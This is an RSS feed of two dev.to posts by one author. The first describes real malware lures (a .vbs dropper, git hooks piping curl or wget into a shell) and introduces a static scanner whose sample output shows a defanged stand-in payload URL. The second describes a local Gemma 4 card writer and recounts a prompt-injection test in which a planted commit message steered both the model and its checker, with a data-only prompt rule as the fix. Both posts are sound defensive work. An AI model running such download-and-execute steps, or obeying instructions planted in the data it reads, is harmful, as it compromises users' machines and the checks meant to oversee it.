<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vinicius Pereira</title>
    <description>The latest articles on DEV Community by Vinicius Pereira (@vinimabreu).</description>
    <link>https://dev.to/vinimabreu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4010065%2Ff3d37966-fcdb-4c21-9df3-f47b258b99bd.jpeg</url>
      <title>DEV Community: Vinicius Pereira</title>
      <link>https://dev.to/vinimabreu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vinimabreu"/>
    <language>en</language>
    <item>
      <title>Three 'clients' sent me malware in two days. Binance lost $6.34 billion to the same trick.</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Fri, 06 Nov 2026 14:22:33 +0000</pubDate>
      <link>https://dev.to/vinimabreu/three-clients-sent-me-malware-in-two-days-binance-lost-634-billion-to-the-same-trick-47k3</link>
      <guid>https://dev.to/vinimabreu/three-clients-sent-me-malware-in-two-days-binance-lost-634-billion-to-the-same-trick-47k3</guid>
      <description>&lt;p&gt;On 4 and 5 November, three "clients" sent me malware. None of it ran, because I read every package before I open it. This is what they looked like.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A zip of requirements.&lt;/strong&gt; A job post from an account with years of real hiring history, which had just posted five unrelated jobs in the same minute: a hijacked account. The post demanded that applicants confirm they had seen the attachment. Inside the zip were two screenshots and &lt;code&gt;Project Requirements and Discussion.vbs&lt;/code&gt;. Double-click it on Windows and it downloads a decoy text file and a batch file into &lt;code&gt;%TEMP%&lt;/code&gt;, then runs the batch file.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A repository of documents.&lt;/strong&gt; Another "client" asked for a call, then sent a zip of a git repository of Markdown documents, a whitepaper and a design doc for a token project. The guide in it asked me to run &lt;code&gt;git checkout whitepaper&lt;/code&gt; to read each section. Two hooks in &lt;code&gt;.git/hooks&lt;/code&gt;, &lt;code&gt;post-checkout&lt;/code&gt; and &lt;code&gt;pre-commit&lt;/code&gt;, ran a download piped into a shell in the background: &lt;code&gt;curl | bash&lt;/code&gt; on macOS, &lt;code&gt;wget | bash&lt;/code&gt; on Linux, &lt;code&gt;curl | cmd.exe&lt;/code&gt; on Windows. Reading the Markdown does nothing. The checkout runs it. The marketplace's own attachment scan marked the zip clean.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The same zip again.&lt;/strong&gt; The next day the &lt;code&gt;.vbs&lt;/code&gt; operation came back from another hijacked account, as a $7,000 job for an AI developer, with &lt;code&gt;Requirements and Project Info.vbs&lt;/code&gt; next to two clean screenshots.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I read all three as data, without running or opening anything in them, so nothing in them ever executed. That is the whole trick: none of it works unless you run it, and a developer's reflex is to run it. You get a repository, you clone it and run it, the same way you hold a door for someone carrying coffee. That reflex is the exploit, and the people losing the most to it are not freelancers.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is not a freelancer problem
&lt;/h2&gt;

&lt;p&gt;The same move has emptied some of the best-defended companies in crypto.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ronin, 2022, about $625 million.&lt;/strong&gt; According to reporting by The Block, a senior engineer at Sky Mavis, the studio behind Axie Infinity, was approached on LinkedIn with a fake job offer and opened a PDF of the "offer" that carried spyware. That foothold was the way into the bridge. (&lt;a href="https://www.engadget.com/axie-infinity-blockchain-hack-fake-job-offer-210017305.html" rel="noopener noreferrer"&gt;Engadget&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bybit, February 2025, about $1.5 billion.&lt;/strong&gt; Safe's investigation with Mandiant traced it to one developer's Mac, infected after the developer downloaded a Docker project, a stock-investment simulator, through social engineering. Session tokens from that laptop got the attackers into Safe's cloud, where they changed the wallet interface Bybit's signers used. (&lt;a href="https://thehackernews.com/2025/03/safewallet-confirms-north-korean.html" rel="noopener noreferrer"&gt;The Hacker News&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Binance, 29 October 2026, $6.34 billion.&lt;/strong&gt; Binance traced the theft to an employee who was contacted through a job platform, invited to fake interviews and given a coding assignment. The malware replaced the &lt;code&gt;pyenv&lt;/code&gt; executable in the Homebrew directory, and the endpoint protection on the machine did not catch it. (&lt;a href="https://www.bleepingcomputer.com/news/security/binance-says-fake-job-interview-led-to-63-billion-crypto-heist/" rel="noopener noreferrer"&gt;BleepingComputer&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contagious Interview&lt;/strong&gt;, the campaign Palo Alto Networks Unit 42 documented in late 2023, does this at scale. Fake recruiters share a project on GitHub or Bitbucket whose dependencies include malicious npm packages. The first stage, BeaverTail, is a stealer that fetches a Python backdoor called InvisibleFerret. (&lt;a href="https://thehackernews.com/2024/10/beavertail-malware-resurfaces-in.html" rel="noopener noreferrer"&gt;The Hacker News&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these people were careless. They worked at companies with security teams and endpoint protection. They did what every developer does with a repository: they ran it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why you verify before you run
&lt;/h2&gt;

&lt;p&gt;Every one of those attacks needs one thing from you, and it is execution. Execution is cheaper to give away than it looks.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;npm install&lt;/code&gt; runs install scripts. &lt;code&gt;npm run dev&lt;/code&gt; loads every config file the toolchain reads, and &lt;code&gt;--ignore-scripts&lt;/code&gt; does nothing for a script you ask for by name.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;git checkout&lt;/code&gt; runs hooks, and a git config can name the program git starts as your pager or your editor.&lt;/li&gt;
&lt;li&gt;Opening a folder in an editor can start a task (&lt;code&gt;"runOn": "folderOpen"&lt;/code&gt;), and opening it in a devcontainer runs its lifecycle commands.&lt;/li&gt;
&lt;li&gt;Double-clicking &lt;code&gt;Project Requirements and Budget.vbs&lt;/code&gt; runs it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Antivirus is not the backstop people think it is. Binance's did not see the new malware. A sandbox helps, and anything a stranger sends runs in a disposable container on my side, but a clean sandbox proves less than it seems. Malware written for macOS simply fails on Linux, and modern loaders check for a virtual machine and sit still. When a sandbox catches something, that is real evidence. When it catches nothing, it has not proved much.&lt;/p&gt;

&lt;p&gt;So the first line of defense is reading the thing before any of it executes. The problem is that nobody reads a whole repository by hand at 11 p.m. with a client waiting. So I wrote down what has to be checked before anything runs: install hooks, git hooks, every config that runs on load, editor tasks, obfuscation, network calls, anything that touches the keychain or &lt;code&gt;~/.ssh&lt;/code&gt;. Then I turned that list into a tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  gifthorse
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkc65ixd9qlh32yk9e10r.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkc65ixd9qlh32yk9e10r.gif" alt="gifthorse reads a zip that looks like paperwork and answers BLOCK, then a coding assignment with one linked file and answers REVIEW" width="600" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/vinimabreu/gifthorse" rel="noopener noreferrer"&gt;gifthorse&lt;/a&gt; reads a file, folder or archive without running any of it and answers in one word: &lt;strong&gt;BLOCK&lt;/strong&gt;, &lt;strong&gt;REVIEW&lt;/strong&gt; or &lt;strong&gt;NO FINDINGS&lt;/strong&gt;, with the file, the line, and the hosts it would have contacted, defanged and ready for an abuse report. On a zip shaped like the first one above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ gifthorse --iocs brief.zip
brief.zip: BLOCK
Do not open or run anything from this package.

  [block] GH101 Executable or script inside a package
    at brief.zip!/Project Requirements and Budget.vbs
    A program file (.vbs) is inside a document package.
    evidence: Project Requirements and Budget.vbs
    trigger: when you double-click the file or open it on Windows
    next: do not open it; ask the sender for a PDF or plain text

  [block] GH201 Download, write and run chain in a Windows script
    at brief.zip!/Project Requirements and Budget.vbs:1
    The script downloads a file, saves it, then runs it.
    evidence: download line 1, write line 4, run line 6
    trigger: when you double-click the script on Windows
    next: report it; use the --iocs block for the hosts it would contact

inspected 3 of 3 files
2 findings: 2 block, 0 review, 0 info

Indicators (defanged, for an abuse report):
  url      hxxp[://]stage[.]cdn[.]example[.]invalid/payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every finding says, in plain words, the everyday action that would set it off and what to do instead. The person holding the file is usually not a security engineer, so the output is written for someone who is not.&lt;/p&gt;

&lt;p&gt;What it looks at: program files and disk images where paperwork is expected; names that hide their real extension; git hooks and git config keys that run a command; the download, write and run chain in Windows scripts; build configs that run on load and carry hidden code; install scripts and &lt;code&gt;curl | sh&lt;/code&gt; install lines; editor tasks, devcontainer commands and agent configs that start a process; code pushed off-screen, decoded strings run as code, invisible characters, and a blockchain lookup used as a channel; and access to saved passwords and keys. Its test fixtures rebuild these shapes synthetically in memory, among them the &lt;code&gt;.vbs&lt;/code&gt; dropper, a git hook that pipes a download into a shell, and a &lt;code&gt;postcss.config.js&lt;/code&gt; with a payload pushed off-screen, and each one comes back BLOCK.&lt;/p&gt;

&lt;p&gt;It never executes or extracts anything from the target. Archives (zip, tar and its gzip, bzip2 and xz forms, single compressed files, and RAR5 member names) are read in memory under caps. It is Python 3.11 or newer, standard library only, and the test suite runs with sockets disabled.&lt;/p&gt;

&lt;h2&gt;
  
  
  NO FINDINGS is not a clearance
&lt;/h2&gt;

&lt;p&gt;The hardest part of building it was not the rules. It was deciding what the quiet answer means.&lt;/p&gt;

&lt;p&gt;The first version had shortcuts that felt reasonable. It followed links inside the package to read their targets. It followed git &lt;code&gt;include&lt;/code&gt; directives. It treated a folder with a &lt;code&gt;.git&lt;/code&gt; or a &lt;code&gt;src&lt;/code&gt; directory as a code project, and a code project earns some slack, since an installer under &lt;code&gt;tests/&lt;/code&gt; is normal there. Three skeptical reviews later, each of those shortcuts had turned out to be a way for a file to pass without being judged. A link can point anywhere. An include can pull in a config the tool never sees. A &lt;code&gt;src&lt;/code&gt; folder costs nothing to add to a zip of "requirements".&lt;/p&gt;

&lt;p&gt;I removed them instead of patching them. The rule now is deny by default: anything the tool did not read, did not follow, or could not judge by its type is a REVIEW. A link is a REVIEW whatever it points at. Only a manifest whose content confirms it makes a folder a project. NO FINDINGS means nothing was found. It never means safe, and the README says so in the verdict table.&lt;/p&gt;

&lt;p&gt;That costs some noise, so I measured it. On 218 popular npm and PyPI packages, the published files come back 169 NO FINDINGS, 49 REVIEW and 0 BLOCK. Every REVIEW is listed with its rule and path: mostly install scripts that run code on &lt;code&gt;npm install&lt;/code&gt;, plus a few links and git submodule pointers that are no longer followed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verifying the verifier
&lt;/h2&gt;

&lt;p&gt;The day I published it, the first CI run on Windows came back red. gifthorse had scanned its own repository and called every Python file a BLOCK.&lt;/p&gt;

&lt;p&gt;The cause was one character. Git on Windows checks files out with CRLF line endings, and the pattern that confirms a &lt;code&gt;pyproject.toml&lt;/code&gt; ended in &lt;code&gt;[ \t]*$&lt;/code&gt;. The &lt;code&gt;\r&lt;/code&gt; sat between the section header and the end of the line, so the manifest did not confirm, the folder stopped being a project, and every &lt;code&gt;.py&lt;/code&gt; file in a folder full of docs looked like a script dropped into paperwork. On macOS and Linux the suite was green. On the platform where people double-click attachments, it was wrong.&lt;/p&gt;

&lt;p&gt;The fix was two lines: read marker files with their line endings normalized. Then came a test that fails without the fix, and a rerun of the benchmark, which did not change. What I keep from it is that the failure was loud. A tool that fails closed shouts BLOCK when it is confused. One that failed open would have said NO FINDINGS on every Windows checkout, and nobody would have noticed.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I do now
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;I read before I run. The tool does the first pass in seconds, and then I read every line it points at.&lt;/li&gt;
&lt;li&gt;Nothing a stranger sends runs on my machine before a contract exists. When something must run, it runs in a throwaway container with no network and no credentials.&lt;/li&gt;
&lt;li&gt;A client who insists that I run their project and send a screenshot before we sign is not testing my skills. That request is the scam.&lt;/li&gt;
&lt;li&gt;A clean scan means the first read found nothing obvious. It does not clear the package.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The repo is at &lt;a href="https://github.com/vinimabreu/gifthorse" rel="noopener noreferrer"&gt;github.com/vinimabreu/gifthorse&lt;/a&gt;, MIT licensed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pipx install "git+https://github.com/vinimabreu/gifthorse@9be244fecb79eca25e296e6540db5777de6313fa"
gifthorse ./the-thing-they-sent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you find a package that should be a BLOCK and is not, report it privately through the repository's security page. Those reports will make it better than any rule I can think of alone.&lt;/p&gt;

</description>
      <category>security</category>
      <category>opensource</category>
      <category>python</category>
      <category>career</category>
    </item>
    <item>
      <title>An ofrenda for the people whose code still runs: Gemma 4 writes the cards on my laptop, and git checks every quote</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 27 Oct 2026 12:44:54 +0000</pubDate>
      <link>https://dev.to/vinimabreu/an-ofrenda-for-the-people-whose-code-still-runs-gemma-4-writes-the-cards-on-my-laptop-and-git-5ea0</link>
      <guid>https://dev.to/vinimabreu/an-ofrenda-for-the-people-whose-code-still-runs-gemma-4-writes-the-cards-on-my-laptop-and-git-5ea0</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-week4-2026-10-26"&gt;Hacktoberfest Open-Source AI Challenge Week 4: Ghost in the Machine&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Some of the code you run every day was written by people who stopped working on it years ago. git still remembers each of them, one line at a time, and &lt;code&gt;git blame&lt;/code&gt; puts a name and a date on every line that survived.&lt;/p&gt;

&lt;p&gt;In paramiko, the SSH library for Python, 136 people still have lines at its latest commit, and 134 of them made no commit in the 730 days before it. Line 1 of its license is from 4 November 2003.&lt;/p&gt;

&lt;p&gt;An ofrenda is the altar families build for Día de los Muertos, to keep their people present. The people on this one are alive and busy with other things. It keeps present the part of their work that still runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ofrenda&lt;/strong&gt; reads a repository's history and makes a card for everyone who still has lines in the code and has moved on from it. Each card shows what is still theirs and the oldest of their lines. It also has a sentence or two about what they left behind, in the words of their own commit messages.&lt;/p&gt;

&lt;p&gt;Gemma 4 writes that sentence on my laptop, and git supplies everything else through plain code. Every phrase Gemma quotes must be copied from the person's commit messages, and the sentence gets a second reading before the card uses it.&lt;/p&gt;

&lt;p&gt;It's the recipe from my last three entries, pointed at a commit history. The model writes the words and code checks them, on the machine that already holds the data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp62wqos59yqhyoydllgu.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp62wqos59yqhyoydllgu.gif" alt="ofrenda on the invented almanac repository: git finds who still has lines in the code, Gemma 4 writes each card on the laptop, and code checks every quote" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The repository is &lt;code&gt;almanac&lt;/code&gt;, an invented job scheduler with fifteen years of history that &lt;code&gt;scripts/make_demo.py&lt;/code&gt; builds the same way on any machine. Every name in it is made up. Cut where it says &lt;code&gt;...&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ofrenda almanac
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
ofrenda for almanac
6 people still have lines in almanac at 3aff65026d (2026-09-28); 5 of them
made no commit in the 730 days before it.

  The elder: the oldest line still running
       LICENSE:1, by Ines Okonkwo on 2011-03-14 (5ea5ca50f1)
       | MIT License
       from "Start almanac, a small job scheduler"

   )   Ines Okonkwo
  |'|  2011-03-14 to 2018-01-09, 4 commits
  |_|  69 lines still here (32.4% of the lines read), in 7 files

       Ines Okonkwo established the foundation of the scheduler by creating a
       sorted list of jobs and a loop to execute them. They also implemented
       the ability to define schedules using cron-like expressions.
       "a small job scheduler" (5ea5ca50f1, 2011-03-14)
       "One sorted list of jobs and a loop that runs the ones that are due"
         (5ea5ca50f1, 2011-03-14)
       "A schedule can now be written as five fields" (3bd5728192, 2011-04-02)
       (words by gemma4:12b, every quote checked against git)
       ...

   ... four more cards ...

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
...
Cards: 5; 4 written by gemma4:12b on the first try, 1 on the second, 0 from
git alone after two rejected answers. Quotes checked against the commit
messages: 14.
Second reading of each sentence for death, judgment or gender wording, by
gemma4:12b: 5 sentences read, 0 refused. It is a model too, so some wording
can still get through.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The zigzag is papel picado, the cut paper that hangs over an ofrenda, and each person gets a small candle. The sixth person with lines still commits, so there is no card for them.&lt;/p&gt;

&lt;p&gt;One of the five cards came on the second try. Gemma's first answer for Sanna Petrova said "She ensured the tutorial explains...", and a card never guesses anyone's gender. The check refused it and asked again with the plain reason and nothing else. The second answer said "They" and passed.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/ofrenda" rel="noopener noreferrer"&gt;
        ofrenda
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      An ofrenda for the people whose code still runs. Gemma 4 writes each card on your machine, and every quote is checked against git.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;ofrenda&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="https://github.com/vinimabreu/ofrenda/actions/workflows/test.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/vinimabreu/ofrenda/actions/workflows/test.yml/badge.svg" alt="test"&gt;&lt;/a&gt;
&lt;a href="https://www.python.org/downloads/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/96abf9b704f80578ea56dd10cab0d911c56d46dbec347f431ece9cf60ac175ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e31312532422d626c7565" alt="Python 3.11+"&gt;&lt;/a&gt;
&lt;a href="https://github.com/vinimabreu/ofrenda/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f8df3091bbe1149f398a5369b2c39e896766f9f6efba3477c63e9b4aa940ef14/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d677265656e" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;An ofrenda for the people whose code still runs. Gemma 4 writes each card on your machine, and every word it quotes is checked against git.&lt;/p&gt;
&lt;p&gt;Every long-lived repository carries lines written by people who stopped committing to it years ago. Their names are in &lt;code&gt;git blame&lt;/code&gt;, one line at a time, and nowhere else. An ofrenda keeps people present. This one keeps present the people whose work still runs: it finds everyone who still has lines in the code and has moved on from the repository to other things, and gives each of them a card with what is still theirs, the oldest of their lines that still runs, and a sentence about what they left behind, in the words of their own commit messages.&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/ofrenda/assets/ofrenda.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fofrenda%2FHEAD%2Fassets%2Fofrenda.gif" alt="ofrenda: git finds who still has lines in the code, Gemma 4 writes each card on your machine, and code checks every quote"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The animation runs on the invented demo repository below. Every line and number in it comes from that run's output and from…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/ofrenda" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Python 3.11 or newer and git, with no Python dependencies. The sentences need Ollama and the model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ollama pull gemma4:12b
pipx &lt;span class="nb"&gt;install &lt;/span&gt;git+https://github.com/vinimabreu/ofrenda
git clone &lt;span class="nt"&gt;--bare&lt;/span&gt; https://github.com/paramiko/paramiko.git
ofrenda paramiko.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--no-model&lt;/code&gt; builds every card from git alone. The 400 tests build invented repositories and use a fake model, except one that talks to a real Ollama and is skipped without one.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;h3&gt;
  
  
  git gives the facts
&lt;/h3&gt;

&lt;p&gt;Every number, date, path and line of code on a card comes from &lt;code&gt;git blame&lt;/code&gt; and &lt;code&gt;git log&lt;/code&gt;, read by plain code, and none of those counts or dates go into the prompt.&lt;/p&gt;

&lt;p&gt;Plain blame credits each line to the last commit that touched it, so whoever runs a formatter takes other people's lines. ofrenda blames with &lt;code&gt;-w -M -C&lt;/code&gt; and the repository's &lt;code&gt;.git-blame-ignore-revs&lt;/code&gt;, which in flask gives 4,212 lines (12.2%) to a different person than plain blame does. flask's "Reformat with black" still holds 2,167 lines, so ofrenda names it under the cards with the &lt;code&gt;--ignore-rev&lt;/code&gt; that would give them back.&lt;/p&gt;

&lt;p&gt;"Moved on" means no commit reachable from the revision in the 730 days before its date, so the same revision gives the same cards on any day. In the code such a person is a ghost (&lt;code&gt;ledger.ghosts(730)&lt;/code&gt;). On a card, "ghost" is a word that gets refused.&lt;/p&gt;

&lt;h3&gt;
  
  
  One question per person
&lt;/h3&gt;

&lt;p&gt;For each person, Gemma 4 12B gets the messages of their commits that still have lines, at most 12 messages and 7,000 characters, plus a few of those lines and their paths. It runs through Ollama on &lt;code&gt;127.0.0.1&lt;/code&gt; at temperature 0 with a JSON schema and answers with &lt;code&gt;text&lt;/code&gt; and &lt;code&gt;quotes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The prompt has no example answer, because in my week 1 entry Gemma reused the ending of my one example on a day it didn't fit. It does say the person is alive, and asks for nothing about death, mourning, ghosts or an afterlife. Nothing after it takes that on trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  The check, in two layers
&lt;/h3&gt;

&lt;p&gt;The first layer is code in &lt;code&gt;check_card&lt;/code&gt;. A quote has to be copied from a single message with every letter and punctuation mark matching, and it has to start and end on a word boundary, so "break the build" can't be cut out of "Unbreak the build". Text inside any quotation marks in the sentence goes through the same test.&lt;/p&gt;

&lt;p&gt;The sentence can't carry a date, a path, a hash, a link or an email address. An amount, in digits or in words, passes only when a message has it next to the same word (&lt;code&gt;Python 3&lt;/code&gt;). Every capitalized word has to appear in what the model was given, the first word of a sentence included unless it is a plain starter like "They".&lt;/p&gt;

&lt;p&gt;Then come word lists in &lt;code&gt;wording.py&lt;/code&gt;: death and mourning in English, Spanish and Portuguese, put-downs, and gendered pronouns and titles. The death list even has "calavera" and "sugar skull", so a card can't borrow the holiday it is named for.&lt;/p&gt;

&lt;p&gt;Lists are cheap, and they catch the words on them and little else. On the first held-out set, written before the lists and never added to them, they caught 17.8% of the death paraphrases.&lt;/p&gt;

&lt;p&gt;So the second layer is a second reading by the same model. A sentence that passes the code goes back to Gemma in a separate call (&lt;code&gt;tone.py&lt;/code&gt;) that asks three yes or no questions about it. The first is whether it says or suggests that the person died. The other two ask whether it judges them or their work and whether it assumes their gender. It runs at temperature 0 with no example in the prompt, and a yes refuses the sentence like any other rule.&lt;/p&gt;

&lt;p&gt;I froze that reader in a commit (&lt;code&gt;12c224f&lt;/code&gt;) before a second held-out set was opened. That set was written separately, in a process with no access to the word lists or the prompts. Each sentence was put on real people from the four repositories with their real quotes, so only the sentence can cause a refusal. The lists ran on all 38 people whose answers passed, and the second reading and both together on 8 of them, two per repository (2,326 readings). A catch counts only for its own reason, so a death sentence refused over an unknown capitalized word doesn't count as caught. In percent of trials:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;set&lt;/th&gt;
&lt;th&gt;lists&lt;/th&gt;
&lt;th&gt;second reading&lt;/th&gt;
&lt;th&gt;both&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;death and mourning, first set&lt;/td&gt;
&lt;td&gt;17.8%&lt;/td&gt;
&lt;td&gt;96.4%&lt;/td&gt;
&lt;td&gt;96.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;death and mourning, blind set&lt;/td&gt;
&lt;td&gt;58.0%&lt;/td&gt;
&lt;td&gt;94.2%&lt;/td&gt;
&lt;td&gt;98.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;judging the person, blind set&lt;/td&gt;
&lt;td&gt;20.0%&lt;/td&gt;
&lt;td&gt;100.0%&lt;/td&gt;
&lt;td&gt;100.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gendered wording, blind set&lt;/td&gt;
&lt;td&gt;79.7%&lt;/td&gt;
&lt;td&gt;79.2%&lt;/td&gt;
&lt;td&gt;95.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;respectful sentences, blind set (false refusals)&lt;/td&gt;
&lt;td&gt;3.8%&lt;/td&gt;
&lt;td&gt;0.0%&lt;/td&gt;
&lt;td&gt;3.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;the 38 real sentences (false refusals)&lt;/td&gt;
&lt;td&gt;0.0%&lt;/td&gt;
&lt;td&gt;0.0%&lt;/td&gt;
&lt;td&gt;0.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;On the blind set, both layers together caught 98.0% of the death wording, all of the put-downs and 95.0% of the gendered wording, so 2.0% of the death wording got through. The second reading refused none of the 80 respectful sentences in 640 trials, and none of the 38 real ones. The lists refused 3.8% of the respectful trials for a death, judgment or gender word, "dead" in dead code among them. The lists changed after an audit that came after the blind set was seen, so the repo reports today's lists in a separate column marked not blind.&lt;/p&gt;

&lt;p&gt;The reader is a model too. Some wording gets past it, and in the measured run below it refused one faithful sentence out of 39. A failed answer gets one retry with the plain reason, and after a second failure the card shows the person's top commit subject from git alone.&lt;/p&gt;

&lt;h3&gt;
  
  
  Commit messages are data
&lt;/h3&gt;

&lt;p&gt;A commit message is text someone else wrote, and it goes into the prompt. In an audit, a planted commit message told the model to put a phrase in the card that ended with an instruction to answer false to every question. Gemma copied it into the sentence, and the second reading did what the sentence told it.&lt;/p&gt;

&lt;p&gt;Now the prompt tells Gemma that the messages are data to quote. Code also refuses a sentence that uses one of a list of phrases that speak to a reader, a reviewer or a model, before the second reading ever sees it. It is a list like the others, so an order worded some other way can still get through.&lt;/p&gt;

&lt;h3&gt;
  
  
  Measured on four public repositories
&lt;/h3&gt;

&lt;p&gt;On bare clones of flask, requests, bottle and paramiko, I made a card for each of the 10 people with the most surviving lines among those who moved on, with &lt;code&gt;gemma4:12b&lt;/code&gt; (Q4_K_M, digest &lt;code&gt;6114515d63c1&lt;/code&gt;) on an Apple silicon laptop with 18 cores.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
